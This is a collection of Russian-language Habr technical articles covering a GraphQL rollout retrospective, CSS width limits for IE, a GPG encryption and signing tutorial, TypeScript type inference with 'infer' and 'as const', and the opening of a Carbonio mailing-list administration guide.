Под конец миссии в феврале, мы выкатили graphql только на 100 компаний-"везунчиков". Дальше мы медленно выкатывали их до 1000 компаний, потом 1%, 10%, 30%, 50% и наконец в июне выкатили всем.
Деплоили мы просто используя логику деления company ID без остатка. В дополнение, у нас было несколько настроек - кому еще включать, кому не включить никогда и рубильник выключающий graphql сразу у всех на фронтенде. Было очень полезно во время инцидентов сразу избавиться от подозрений что это все из-за нового graphql и упростить дебаг.
Учитывая насколько большие изменения мы делали, это был хороший опыт быстро получить обратную связь, найти баги (с кешированием), при этом снизив риски для большинства пользователей.
Надежды и мечты
---------------
Что-бы достичь всех плюшек от того что graphql может нам дать, надо еще много что поменять - добавить мутации, подписки, массовые операции на уровне федерации. Все это требует работы с командами и евангелизм что-бы увеличить количество федерируемых сервисов.
Как только наш graphql API станет стабильным и достаточным для использования любыми пользователями, его можно выкатить в качестве второй версии нашего API. Для публикации впрочем понадобятся еще директивы для ограничения доступа к сущностям согласно [OAuth видимости](https://oauth.net/2/scope/) (для приложений из рынка) и согласно нашим [продуктам](https://www.pipedrive.com/en/pricing).
В самой schema-registry надо добавить отслеживание клиентов, связать ее gateway для получения аналитики трафика что-бы проще было понять какие поля можно удалять, надо добавить фильтрацию и подсветку сущностей в зависимости от директив цены и видимости, валидировать именование, хранить постоянные запросы (persisted query), публиковать историю изменений итоговой схемы для сторонних разработчиков.
Кроме того, поскольку у нас есть сервисы на go, еще непонятно как стоит делать внутренний трафик - стоит ли использовать GRPC из-за скорости и надежности, либо использовать независимые graphql эндпоинты, либо ставить централизованный внутренний gateway. Если GRPC лучше только из-за его бинарности, может мы можем написать библиотечку которая тоже упакует graphql данные с помощью [msgpack](https://msgpack.org/)?
Что касается внешнего мира, надеюсь Apollo со своим [проектом Constellation](https://www.youtube.com/watch?v=MvHzOwdLb_o) ускорят обработку запроса на Rust что-бы небыло этих 10% налога на производительность и смогут федерировать graphql сервисы без серьезных изменений последних.
Вобщем прекрасное время что-бы наслаждаться разработкой где уйма сложности! | https://habr.com/ru/post/518554/ | null | ru | null |
# Про резиновую верстку
Навеяно [этим](http://modaz.habrahabr.ru/blog/34669.html).
Для тех, кто, возможно, не знает как сделать так, чтоб всё было хорошо.
Сайт должен тянуться только до определённой величины, и сужаться тоже только до некоторого значения. Я обычно беру 1500 и 980 пикселей соответственно.
Как сделать? min-width и min-height.
`#site {
margin: 0 auto; /*это чтоб центрировать контент при превышении max-width*/
min-width: 980px;
max-width: 1500px;
}`
Но ведь IE их не поодерживает. А expression слишком нагружает браузер… Спокойно, други! Я выведу вас к свету из тьмы!
Пишем далее.
А в ie.js помещаем
`window.attachEvent('onload', mkwidth);
window.attachEvent('onresize', mkwidth);
var minwidth = document.getElementById("site").currentStyle['min-width'].replace('px', '');
var maxwidth = document.getElementById("site").currentStyle['max-width'].replace('px', '');
function mkwidth(){
document.getElementById("site").style.width = document.documentElement.clientWidth < minwidth ? minwidth+"px" : (document.documentElement.clientWidth > maxwidth ? maxwidth+"px" : "100%");
};`
В чём особенная вкусность приведённого метода? А в том, что минимальное и максимальное значение нужно задавать только в одном месте, ну и вообще.
Пользуйтесь, короче, на здоровье! | https://habr.com/ru/post/19328/ | null | ru | null |
# Используем GPG для шифрования сообщений и файлов
Кратко о том, как создавать ключи, шифровать и подписывать файлы и отправлять ключи на сервер ключей.
GPG (также известный как GnuPG) создавался как свободная альтернатива несвободному PGP. GPG используется для шифрования информации и предоставляет различные алгоритмы (RSA, DSA, AES и др.) для решения этой задачи.
GPG может использоваться для симметричного шифрования, но в основном программа используется для ассиметричного шифрования информации. Если кратко — при симметричном шифровании для шифровки и расшифровки сообщения используется один ключ (например, какой символ соответствует той или иной букве). При ассиметричном шифровании используются 2 ключа — публичный и приватный. Публичный используется для шифрования и его мы можете дать своим друзьям, а приватный — для расшифровки, и его вы должны хранить в безопасности. Благодаря такой схеме расшифровать сообщение может только владелец приватного ключа (даже тот, кто зашифровывал сообщение, не может произвести обратную операцию). Подробнее про асимметричное шифрование вы можете прочитать в [Википедии](https://ru.wikipedia.org/wiki/%D0%9A%D1%80%D0%B8%D0%BF%D1%82%D0%BE%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0_%D1%81_%D0%BE%D1%82%D0%BA%D1%80%D1%8B%D1%82%D1%8B%D0%BC_%D0%BA%D0%BB%D1%8E%D1%87%D0%BE%D0%BC).
Установка GPG
-------------
**Windows**
Скачайте и установите [Gpg4win](https://gpg4win.org/download.html).
**GNU/Linux**
В большинстве дистрибутивов GNU/Linux GPG уже установлен. Если же он у вас не установлен, установите пакет `gnupg` с помощью своего пакетного менеджера или соберите его из [исходников](https://github.com/gpg/gnupg).
**Android**
Для Android существуют программы GnuPG for Android и OpenKeychain. Создатели GnuPG for Android рекомендуют использовать OpenKeychain.
[Официальный сайт OpenKeychain](https://www.openkeychain.org/)
[OpenKeychain в F-Droid](https://f-droid.org/packages/org.sufficientlysecure.keychain/)
[OpenKeychain в Google Play](https://play.google.com/store/apps/details?id=org.sufficientlysecure.keychain)
[Официальный сайт GnuPG for Android](https://guardianproject.info/code/gnupg/)
[Исходники GnuPG for Android на GitHub](https://github.com/guardianproject/gnupg-for-android)
Спасибо товарищу под ником [sormon](https://habr.com/ru/users/sormon/) за то, что напомнил!
Использование
-------------
Здесь будет приведено только использование в Linux (на момент написания статьи последней версией GPG является 2.2.6)
Для начала стоит уточнить, что в большинстве дистрибутивов Linux есть два бинарных файла: `gpg` и `gpg2`. Насколько я помню, это были две разные версии: 1.4.x и 2.0.x, и для удобного использования я делал alias, чтобы при запуске gpg выполнялся gpg2. Сейчас же в Debian и Arch Linux `/bin/gpg2` является символической ссылкой на `/bin/gpg` и потребность в таких манипуляциях пропала. Проверить это можно выполнив `file /bin/gpg2`.
Итак, начнём!
Введя gpg без аргументов он создаст необходимые ему файлы (если они ещё не созданы) и будет ждать ввода шифруемой информации.
```
user@PC:~$ gpg
gpg: создан каталог '/home/user/.gnupg'
gpg: создан щит с ключами '/home/user/.gnupg/pubring.kbx'
gpg: Внимание: команда не отдана. Пытаюсь угадать, что имелось в виду ...
gpg: Пишите сообщение ...
```
При наличии ключа мы можем ввести текст, нажать сочетание клавиш Ctrl + D и получить порцию кракозябр прямо в консоль. Но пока что у нас нет ключа.
### Создание ключа
Чтобы создать ключ, нужно запустить GPG с аргументом "--full-generate-key" (можно и с "--gen-key", но в этом случае у нас не будет выбора некоторых важных параметров).
*UPD: Если запустить GPG ещё и с аргументом `--expert`, то выбор типа ключа будет намного шире. За дополнение спасибо товарищу [nikitasius](https://habr.com/ru/users/nikitasius/)!*
```
user@PC:~$ gpg --full-generate-key
gpg (GnuPG) 2.2.6; Copyright (C) 2018 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Выберите тип ключа:
(1) RSA и RSA (по умолчанию)
(2) DSA и Elgamal
(3) DSA (только для подписи)
(4) RSA (только для подписи)
Ваш выбор?
```
```
user@PC:~$ gpg --full-generate-key --expert
gpg (GnuPG) 2.2.6; Copyright (C) 2018 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Please select what kind of key you want:
(1) RSA and RSA (default)
(2) DSA and Elgamal
(3) DSA (sign only)
(4) RSA (sign only)
(7) DSA (set your own capabilities)
(8) RSA (set your own capabilities)
(9) ECC and ECC
(10) ECC (sign only)
(11) ECC (set your own capabilities)
(13) Existing key
Your selection?
```
Вы можете выбрать любой вариант, но учтите, что выбрав третий или четвёртый вариант вы не сможете шифровать сообщения и файлы!
```
...
Ваш выбор? 1
длина ключей RSA может быть от 1024 до 4096.
Какой размер ключа Вам необходим? (2048)
```
Для RSA ключа размером 2048 бит вполне достаточно, но вы можете выбрать размер до 4096 бит (использовать ключи размера меньше 2048 бит небезопасно).
```
...
Какой размер ключа Вам необходим? (2048) 2048
Запрошенный размер ключа - 2048 бит
Выберите срок действия ключа.
0 = не ограничен
= срок действия ключа - n дней
w = срок действия ключа - n недель
m = срок действия ключа - n месяцев
y = срок действия ключа - n лет
Срок действия ключа? (0)
```
Если вы выберете ограниченный срок действия ключа, то по истечению его срока ключ будет признан недействительным. Вы можете продлить срок действия ключа, пока он не истечёт.
GPG спросит, верно ли мы указали срок, и если да, то нужно будет указать имя, адрес электронной почты и примечание (всё это опционально, но нужно указать хотя бы что-то одно).
```
...
Ключ действителен до Чт 01 января 1970 00:00:00 +00
Все верно? (y/N) y
GnuPG должен составить идентификатор пользователя для идентификации ключа.
Ваше полное имя: Habrahabr User
Адрес электронной почты: habr@habr.com
Примечание: My own key
Вы выбрали следующий идентификатор пользователя:
"Habrahabr User (My own key) "
Сменить (N)Имя, (C)Примечание, (E)Адрес; (O)Принять/(Q)Выход?
```
Здесь вы можете сделать правки либо продолжить.
Дальше gpg попросит указать пароль (рекомендую освежить память и почитать о правилах выбора стойкого пароля). Если у вас запущен X сервер, то у вас вылезет диалоговое окно, куда нужно ввести пароль. Если же нет, то пароль вводится прямо в консоль.
**Если вы не любите окошки**
Добавьте в файл `~/.gnupg/gpg-agent.conf` данную строчку:
`pinentry-program /usr/bin/pinentry-tty`
Pynentry — это те самые диалоговые окна. Помимо tty-версии (консольной) есть ещё несколько версий (графических), которые вы можете попробовать.
Затем перезапустите gpg-agent. На системах с systemd это делается так:
`systemd --user reload gpg-agent`
```
...
Необходимо получить много случайных чисел. Желательно, чтобы Вы
в процессе генерации выполняли какие-то другие действия (печать
на клавиатуре, движения мыши, обращения к дискам); это даст генератору
случайных чисел больше возможностей получить достаточное количество энтропии.
Введите фразу-пароль
для защиты нового ключа
Фраза-пароль:
```
**В терминале вводимый пароль никак не отображается!**
Также тут есть полезный совет, который ускорит создание ключа. Следовать ему желательно, но необязательно (и очень аккуратно, чтобы не натыкать лишнего).
```
...
Фраза-пароль:
Повторите:
Необходимо получить много случайных чисел. Желательно, чтобы Вы
в процессе генерации выполняли какие-то другие действия (печать
на клавиатуре, движения мыши, обращения к дискам); это даст генератору
случайных чисел больше возможностей получить достаточное количество энтропии.
gpg: /home/user/.gnupg/trustdb.gpg: создана таблица доверия
gpg: ключ 5699884482E426AC помечен как абсолютно доверенный
gpg: создан каталог '/home/user/.gnupg/openpgp-revocs.d'
gpg: сертификат отзыва записан в '/home/user/.gnupg/openpgp-revocs.d/2BB6803FCF82316969619C155699884482E426AC.rev'.
открытый и секретный ключи созданы и подписаны.
pub rsa2048 1970-01-01 [SC]
2BB6803FCF82316969619C155699884482E426AC
uid Habrahabr User (My own key)
sub rsa2048 1970-01-01 [E]
```
На этом этапе ключ генерируется и добавляется в *связку ключей*. В связке ключей может находится множество ключей. Также на этом этапе создаётся *сертификат отзыва* — файл, с помощью которого созданный ключ можно отозвать (признать недействительным). Рекомендуется хранить его в безопасном месте, т.к. если к нему получат доступ злоумышленники, то они смогут отозвать ваш ключ.
Итак, что же означают все эти странные последние строки?
**rsa** — Алгоритм шифрования RSA.
**2048** — Длина ключа.
**1970-01-01** — Дата создания ключа.
**2BB680...E426AC** — Отпечаток ключа. Его следует сверять при импортировании чужого публичного ключа — у обоих сторон он должен быть одинаков.
**uid** — Идентификатор (User-ID).
**pub** и **sub** — Типы ключа:
**pub** — Публичный ключ.
**sub** — Публичный подключ.
**sec** — Секретный ключ.
**ssb** — Секретный подключ.
**[SC]** и **[E]** — Предназначение каждого ключа. Когда вы создаёте ключ, вы получаете аж 4 криптоключа: для шифрования, расшифровки, подписи и проверки подписи:
**S** — Подпись (Signing).
**C** — Подпись ключа (Certification). Об этом пойдёт речь чуть позже.
**E** — Шифрование (Encryption).
**A** — Авторизация (Authentication). Может использоваться, например, в SSH.
Зачем нужно подписывать сообщения? Для того, чтобы подтвердить, что сообщение написано именно вами и не изменилось в процессе передачи. Если сообщение будет изменено, то при проверке подписи это будет указано.
### Конфигурация
Файл конфигурации хранится в файле `~/.gnupg/gpg.conf`
Вот, например, пример моего файла конфигурации, который я рекомендую себе поставить:
```
keyid-format 0xlong
throw-keyids
no-emit-version
no-comments
```
`keyid-format 0xlong` — формат вывода идентификатора ключа. У каждого ключа и подключа есть свой идентификатор. По умолчанию он не выводится, раньше выводилась его короткая версия.
Доступные форматы:
`none` — Не выводить (По умолчанию).
`short` — Короткая запись.
`0xshort` — Короткая запись с префиксом "0x".
`long` — Длинная запись.
`0xlong` — длинная запись с префиксом "0x".
`throw-keyids` — Не включать информацию о ключе в зашифрованное сообщение. Эта опция может быть полезна для анонимизации получателя сообщения.
`no-emit-version` — Не вставлять версию GPG в зашифрованное сообщение.
`no-comments` — Убирает все комментарии из зашифрованного сообщения.
Всё это — опции, которые можно найти в man-странице. В файле конфигурации они записываются без префикса "`--`".
### Команды и опции
Я опишу только самое основное.
`--armor`
`-a` — Создаёт ASCII (символьный) вывод. При шифровании GPG по умолчанию создаёт бинарный вывод. При использовании этой опции GPG кодирует информацию кодировкой Radix-64 (Разновидность Base64). Этот текстовой вывод можно, например, отправить в мессенджере или по электронной почте, а также вывести на экран.
`--encrypt`
`-e` — Зашифровать сообщение.
`--recipient`
`-r` — Указать ключ, который будет использоваться для *шифрования*. Можно использовать информацию идентификатор пользователя (имя, почта), идентификатор ключа, отпечаток ключа.
`--decrypt`
`-d` — Расшифровать сообщение.
`--sign`
`-s` — Подписать сообщение. Подпись при этом будет распологаться отдельно от самого сообщения.
`--clear-sign`
`--clearsign` — Подписать сообщение. Подпись при этом сохраняется вместе с сообщением.
`--local-user`
`-u` — Указать ключ, который будет использоваться для *подписи*. Схож с опцией `--recipient`, но *это не одно и то же*.
`--verify` — Проверить подпись.
`--list-keys`
`-k` — Вывести список публичных ключей.
`--list-secret-keys`
`-K` — Вывести список приватных ключей.
`--export` — экспортировать публичный ключ в файл, который потом можно куда нибудь отправить.
`--import` — импортировать публичный ключ.
`--edit-key` — Редактировать ключ.
`--expert` — "Режим эксперта".
**Примеры**
`gpg -a -r 0x12345678 -e decrypted.txt > encrypted.gpg`
Зашифровать файл `decrypted.txt` в файл `encrypted.gpg` ключом `0x12345678`. При этом готовый файл будет текстовым, а не бинарным.
`gpg -r 0x12345678 -d encrypted.gpg > decrypted.txt`
Расшифровать файл `encrypted.gpg` ключом `0x12345678` и сохранить его в файл `decrypted.txt`.
`gpg -u 0x12345678 -s message.txt > sign.asc`
Подписать файл `message` ключом `0x12345678` и сохранить подпись в файл `sign.asc`.
`gpg -r 0x12345678 --clearsign message.txt > message.gpg`
Подписать файл `message.txt` ключом `0x12345678` и записать сообщение с подписью в файл `message.gpg`.
`gpg --verify message.asc message.txt`
Проверить подпись файла `message.txt`, которая записана в файле `message.asc`.
`gpg --import pubkey.gpg`
Импортировать публичный ключ из файла `pubkey.gpg`.
### Редактирование ключа, подпись чужих ключей и отправка ключа на сервер ключей
Ключ редактируется командой `gpg --edit-key` .
После ввода этой команды вы увидите это:
```
user@PC:~$ gpg --edit-key CCA230DA07929EB7
gpg (GnuPG) 2.2.6; Copyright (C) 2018 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Секретный ключ доступен.
sec rsa2048/CCA230DA07929EB7
создан: 2018-05-08 годен до: никогда назначение: SC
доверие: абсолютное достоверность: абсолютное
ssb rsa2048/7859E2A888E31276
создан: 2018-05-08 годен до: никогда назначение: E
[ абсолютно ] (1). Habrahabr User (My own key)
gpg>
```
Доступные команды вы можете узнать, введя `help`.
Здесь мы можем добавить различные подключи, добавить идентификаторы пользователя, а также подписать чужие публичные ключи.
Для чего нужно подписывать ключи? Так вы можете подтвердить то, что владелец подписываемого ключа является тем, за кого он себя выдаёт. Таким образом вы создаёте так называемую "Сеть Доверия". Пример: Алиса подписала публичный ключ Боба, а Боб подписал публичный ключ Чарли. Если Алиса получит публичный ключ Чарли, она сможет ему доверять, потому что ключ подписан тем, кому Алиса доверяет, т.е. Бобом. Для того, чтобы получить подписи для своего ключа, люди даже устраивают специальные встречи, где они обмениваются своими публичными ключами и подписывают их.
Теперь о серверах ключей. *Сервер ключей* — это специальный сервер, хранящий публичные ключи. Сервера ключей используются для распространения публичных ключей.
**Внимание! Ключи, отправленные на сервер ключей, невозможно удалить! Их можно только отозвать, импортировав сертификат отзыва на сервер, при этом ключ всё равно остаётся на сервере.**
Отправить публичный ключ на сервер:
`gpg --keyserver --send-keys`
Получить публичный ключ с идентификатором ключа с сервера :
`gpg --keyserver --recv-keys`
Получить обновления ключей с сервера:
`gpg --keyserver --refresh-keys`
Найти ключ на сервере:
`gpg --keyserver --search-keys`
Для удобства можно прописать адрес сервера ключей в `gpg.conf`, чтобы не прописывать его в командах:
`keyserver`
### Где вы можете столкнуться с использованием GPG
**Git**
Вы можете использовать GPG для подписи ваших коммитов. Так вы подтверждаете, что коммит сделали именно вы. В GitHub можно импортировать свой публичный ключ и коммиты, подписанные вашим ключом, получат "галочку".
*UPD: О конфигурации Git для использования GPG вы можете прочитать в [документации по Git](https://git-scm.com/book/ru/v2/%D0%98%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B-Git-%D0%9F%D0%BE%D0%B4%D0%BF%D0%B8%D1%81%D1%8C-%D1%80%D0%B5%D0%B7%D1%83%D0%BB%D1%8C%D1%82%D0%B0%D1%82%D0%BE%D0%B2-%D0%B2%D0%B0%D1%88%D0%B5%D0%B9-%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D1%8B).
Вот пример файла конфигурации Git`а от товарища [nikitasius](https://habr.com/ru/users/nikitasius/):*
```
[commit]
gpgsign = true
[user]
signingkey =
[gpg]
program = /bin/gpg
```
**Загрузка дистрибутивов и прочих файлов**
Большинство установочных образов дистрибутивов распространяются подписанными разработчиками. Если вы загрузите модифицированный образ, то при проверке подписи вы сразу заметите, что образ не оригинальный. Примером служит популярный дистрибутив Tails.
**Пакетные менеджеры**
Все пакеты подписываются разработчиками для защиты от изменений. При установке пакетов эти подписи проверяются. Делается это всё автоматически без вмешательства пользователя.
### Ссылки
[Сайт GPG](https://gnupg.org/)
[Статья о GPG в Википедии](https://ru.wikipedia.org/wiki/GNU_Privacy_Guard)
[Сайт, посвящённый ИБ и GPG](https://pgpru.com/)
Сервера ключей:
`pgp.mit.edu`
`keyserver.pgp.com` | https://habr.com/ru/post/358182/ | null | ru | null |
# Вывод типов в TypeScript с использованием конструкции as const и ключевого слова infer
TypeScript позволяет автоматизировать множество задач, которые, без использования этого языка, разработчикам приходится решать самостоятельно. Но, работая с TypeScript, нет необходимости постоянно использовать аннотации типов. Дело в том, что компилятор выполняет большую работу по выводу типов, основываясь на контексте выполнения кода. Статья, перевод которой мы сегодня публикуем, посвящена достаточно сложным случаям вывода типов, в которых используется ключевое слово `infer` и конструкция `as const`.
[](https://habr.com/ru/company/ruvds/blog/493716/)
Основы вывода типов
-------------------
Для начала взглянем на простейший пример вывода типов.
```
let variable;
```
Переменная, которая объявлена таким способом, имеет тип `any`. Мы не дали компилятору каких-либо подсказок о том, как мы будем её использовать.
```
let variable = 'Hello!';
```
Здесь мы объявили переменную и сразу же записали в неё некое значение. Теперь TypeScript может догадаться о том, что эта переменная имеет тип `string`, поэтому теперь перед нами вполне приемлемая типизированная переменная.
Похожий подход применим и к функциям:
```
function getRandomInteger(max: number) {
return Math.floor(Math.random() * max);
}
```
В этом коде мы не указываем того, что функция `getRandomInteger` возвращает число. Но TypeScript-компилятор очень хорошо об этом знает.
Вывод типов в дженериках
------------------------
Вышеописанные концепции имеют отношение к универсальным типам (дженерикам). Если вы хотите больше узнать о дженериках — взгляните на [этот](https://wanago.io/2020/02/17/typescript-generics-discussing-naming-conventions/) и [этот](https://wanago.io/2020/02/24/more-advanced-types-with-typescript-generics/) материалы.
При создании универсальных типов можно сделать много всего полезного. Вывод типов делает работу с универсальными типами более удобной и упрощает её.
```
function getProperty(
object: ObjectType, key: KeyType
) {
return object[key];
}
```
При использовании вышеприведённой дженерик-функции нам не нужно в явном виде указывать типы.
```
const dog = {
name: 'Fluffy'
};
getProperty(dog, 'name');
```
Подобный приём, кроме прочего, весьма полезен при создании универсальных React-компонентов. [Вот](https://wanago.io/2020/03/09/functional-react-components-with-generic-props-in-typescript/) материал об этом.
Использование ключевого слова infer
-----------------------------------
Одна из наиболее продвинутых возможностей TypeScript, которая приходит в голову при разговоре о выводе типов, это — ключевое слово `infer`.
Рассмотрим пример. Создадим следующую функцию:
```
function call(
functionToCall: (...args: any[]) => ReturnType, ...args: any[]
): ReturnType {
return functionToCall(...args);
}
```
Вызовем, с помощью этой функции, другую функцию, и запишем то, что она вернёт, в константу:
```
const randomNumber = call(getRandomInteger, 100);
```
Предыдущее выражение позволяет нам получить то, что вернула функция `getRandomInteger`, которая получила на вход, в качестве верхней границы возвращаемого ей случайного целого числа, 100. Правда, тут имеется одна небольшая проблема. Она заключается в том, что ничто не мешает нам игнорировать типы аргументов функции `getRandomInteger`.
```
const randomNumber = call(getRandomInteger, '100'); // здесь нет ошибки
```
Так как TypeScript поддерживает spread- и rest-параметры в функциях высшего порядка, мы можем решить эту проблему так:
```
function call(
functionToCall: (...args: ArgumentsType) => ReturnType, ...args: ArgumentsType
): ReturnType {
return functionToCall(...args);
}
```
Теперь мы указали на то, что функция `call` может обрабатывать массив аргументов в любой форме, а также на то, что аргументы должны соответствовать ожиданиям переданной ей функции.
Попробуем теперь снова выполнить некорректный вызов функции:
```
const randomNumber = call(getRandomInteger, '100');
```
Это приводит к появлению сообщения об ошибке:
```
Argument of type ‘”100″‘ is not assignable to parameter of type ‘number’.
```
На само деле, выполнив вышеописанные действия мы просто создали кортеж. Кортежи в TypeScript — это массивы с фиксированной длиной, типы значений которых известны, но не обязаны быть одинаковыми.
```
type Option = [string, boolean];
const option: Option = ['lowercase', true];
```
Особенности ключевого слова infer
---------------------------------
Теперь давайте представим, что нашей целью является не получение того, что возвращает функция, а лишь получение сведений о типе возвращаемых ей данных.
```
type FunctionReturnType ?> = ?;
```
Вышеприведённый тип пока ещё не готов к работе. Нам нужно решить вопрос о том, как определить возвращаемое значение. Тут можно всё описать вручную, но это идёт вразрез с нашей целью.
```
type FunctionReturnType ReturnType> = ReturnType;
FunctionReturnType;
```
Вместо того, чтобы делать это самостоятельно, мы можем попросить TypeScript вывести возвращаемый тип. Ключевое слово `infer` можно использовать только в условных типах. Именно поэтому наш код иногда может оказаться несколько неопрятным.
```
type FunctionReturnType any> = FunctionType extends (...args: any) => infer ReturnType ? ReturnType : any;
```
Вот что происходит в этом коде:
* Здесь сказано, что `FunctionType` расширяет `(args: any) => any`.
* Мы указываем на то, что `FunctionReturnType` — это условный тип.
* Мы проверяем, расширяет ли `FunctionType (...args: any) => infer ReturnType`.
Сделав всё это, мы можем извлечь возвращаемый тип любой функции.
```
FunctionReturnType; // number
```
Вышеописанное — это настолько распространённая задача, что в TypeScript имеется встроенная утилита [ReturnType](https://www.typescriptlang.org/docs/handbook/utility-types.html#returntypet), которая предназначена для решения этой задачи.
Конструкция as const
--------------------
Ещё один вопрос, относящийся к выводу типов, заключается в разнице ключевых слов `const` и `let`, используемых при объявлении констант и переменных.
```
let fruit = 'Banana';
const carrot = 'Carrot';
```
Переменная `fruit` — имеет тип `string`. Это означает, что в ней можно хранить любое строковое значение.
А константа `carrot` — это строковой литерал (string literal). Её можно рассматривать как пример подтипа `string`. В [этом PR](https://github.com/Microsoft/TypeScript/pull/5185) дано следующее описание строковых литералов: «Тип string literal — это тип, ожидаемым значением которого является строка с текстовым содержимым, эквивалентным такому же содержимому строкового литерала».
Это поведение можно изменить. В TypeScript 3.4 появилась новая интересная возможность, которая называется const assertions (константное утверждение) и предусматривает применение конструкции `as const`. Вот как выглядит её использование:
```
let fruit = 'Banana' as const;
```
Теперь `fruit` — это строковой литерал. Конструкция `as const` оказывается удобной ещё и тогда, когда некую сущность нужно сделать иммутабельной. Рассмотрим следующий объект:
```
const user = {
name: 'John',
role: 'admin'
};
```
В JavaScript ключевое слово `const` означает, что нельзя перезаписать то, что хранится в константе `user`. Но, с другой стороны, можно поменять внутреннюю структуру объекта, записанного в эту константу.
Сейчас объект хранит следующие типы:
```
const user: {
name: string,
role: string
};
```
Для того чтобы система воспринимала бы этот объект как иммутабельный, можно воспользоваться конструкцией `as const`:
```
const user = {
name: 'John',
role: 'admin'
} as const;
```
Теперь типы изменились. Строки стали строковыми литералами, а не обычными строками. Но изменилось не только это. Теперь свойства предназначены только для чтения:
```
const user: {
readonly name: 'John',
readonly role: 'admin'
};
```
А при работе с массивами перед нами открываются ещё более мощные возможности:
```
const list = ['one', 'two', 3, 4];
```
Тип этого массива — `(string | number)[]`. Этот массив, используя `as const`, можно превратить в кортеж:
```
const list = ['one', 'two', 3, 4] as const;
```
Теперь тип этого массива выглядит так:
```
readonly ['one', 'two', 3, 4]
```
Всё это применимо и к более сложным структурам. Рассмотрим пример, который Андерс Хейлсберг привёл в своём выступлении на [TSConf 2019](https://www.youtube.com/watch?v=jmPZztKIFf4):
```
const colors = [
{ color: 'red', code: { rgb: [255, 0, 0], hex: '#FF0000' } },
{ color: 'green', code: { rgb: [0, 255, 0], hex: '#00FF00' } },
{ color: 'blue', code: { rgb: [0, 0, 255], hex: '#0000FF' } },
] as const;
```
Наш массив `colors` теперь защищён от изменений, причём, защищены от изменений и его элементы:
```
const colors: readonly [
{
readonly color: 'red';
readonly code: {
readonly rgb: readonly [255, 0, 0];
readonly hex: '#FF0000';
};
},
/// ...
]
```
Итоги
-----
В этом материале мы рассмотрели некоторые примеры использования продвинутых механизмов вывода типов в TypeScript. Здесь использовано ключевое слово `infer` и механизм `as const`. Эти средства могут оказаться очень кстати в некоторых особенно сложных ситуациях. Например, тогда, когда нужно работать с иммутабельными сущностями, или при написании программ в функциональном стиле. Если вы хотите продолжить знакомство с этой темой — взгляните на [данный](http://ducin.it/typescript-type-inference-guide#type-inference-best-practices) материал.
Уважаемые читатели! Пользуетесь ли вы ключевым словом `infer` и конструкцией `as const` в TypeScript?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/493716/ | null | ru | null |
# Управление списками рассылки в Carbonio
Списки рассылки - это удобный корпоративный инструмент для массового оповещения пользователей. Отправленная на один электронный адрес информация автоматически доставляется в почтовые ящики пользователей, благодаря чему процесс их информирования происходит максимально быстро и требует минимальных трудозатрат. В Carbonio также есть поддержка динамических списков рассылки, а использоваться они могут не только для массовой отправки писем, но и для массового назначения различных прав доступа. В данной статье мы расскажем о том, как создавать, редактировать и удалять списки рассылки, как ограничивать отправку в них для пользователей, а также о том, как назначать или отзывать права у пользователей, включенных в список рассылки.
#### Создание, редактирование и удаление списка рассылки
Все функции, связанные с управлением списками рассылки доступны в консоли администратора в разделе “Управление”. Помимо учетных записей, алиасов и ресурсных учетных записей, администратору доступен раздел со списками рассылки.
Для создания нового списка рассылки нажмите на выпадающее меню в правом верхнем углу веб-клиента Carbonio и выберите “Создать”.
В открывшемся окне укажите имя списка рассылки, а также при помощи поиска найдите пользователей, которых вы хотели бы в него включить. Нажатие кнопки “Поиск” при пустой строке выводит в окне поиска всех пользователей домена, в котором вы создаете список рассылки, в том числе системные учетные записи, такие как spam, ham и galsync.
Для того, чтобы выбрать несколько учетных записей можно использовать зажатые кнопки Ctrl и Shift на клавиатуре.
Поддерживается добавление как выбранных пользователей, таки всей страницы с результатами поиска. На одной странице помещается до 10 учетных записей. Также поддерживается ввод кастомных имен учетных записей. Например тех, которые расположены на другом сервере или которые только планируется создать.
После добавления пользователей в список рассылки, вы можете удалять их оттуда еще на этапе создания списка рассылки. После того как список пользователей будет окончательно сформирован, нажмите на кнопку “Готово”, чтобы создать список рассылки.
Для редактирования списка рассылки перейдите в соответствующий раздел консоли администратора и нажмите правой кнопкой мыши на список рассылки, который хотите отредактировать. Во всплывающем меню выберите раздел “Изменить”.
После нажатия откроется окно редактирования списка рассылки, аналогичное тому, что было доступно на этапе его создания. Здесь вы можете изменить любые настройки списка рассылки.
Для удаления списка рассылки кликните по нему правой кнопкой мыши в консоли администратора и во всплывающем меню выберите “Удалить”.
После нажатия появится диалог подтверждения удаления списка рассылки. Нажатие кнопки “Да” приведет к его окончательному удалению, а нажатие кнопки “Нет” отменит удаление Списка рассылки. Откатить удаление списка рассылки можно только из резервной копии Carbonio Backup, входящего в состав коммерческой версии Carbonio.
Управлять списками рассылки можно и в командной строке Carbonio:
* Создать список рассылки - `carbonio prov cdl distlist@carbonio.ru`
* Удалить список рассылки - `carbonio prov ddl distlist@carbonio.ru`
* Редактировать список рассылки - `carbonio prov mdl distlist@carbonio.ru`
* Добавить пользователя в список рассылки - `carbonio prov adlm distlist@carbonio.ru user2@carbonio.ru`
* Удалить пользователя из списка рассылки - `carbonio prov rdlm distlist@carbonio.ru user2@carbonio.ru`
* Вывести список всех списков рассылки - `carbonio prov gadl`
* Вывести список всех участников списка рассылки - `carbonio prov gdlm distlist@carbonio.ru`
* Вывести полную информацию о списке рассылки - `carbonio prov gdl distlist@carbonio.ru`
* Добавить алиас для списка рассылки - `carbonio prov adla distlist@carbonio.ru alias@carbonio.ru`
* Удалить алиас для списка рассылки - `carbonio prov rdla distlist@carbonio.ru alias@carbonio.ru`
* Переименовать список рассылки - `carbonio prov rdl distlist@carbonio.ru newdistlist@carbonio.ru`
#### Создание динамического списка рассылки
Динамический список рассылки - это список, который формируется автоматически на основе различных параметров из LDAP. Для его создания создайте новый список рассылки, укажите его имя, но вместо добавления в него пользователей нажмите кнопку далее и перейдите к экрану настройки списка рассылки.
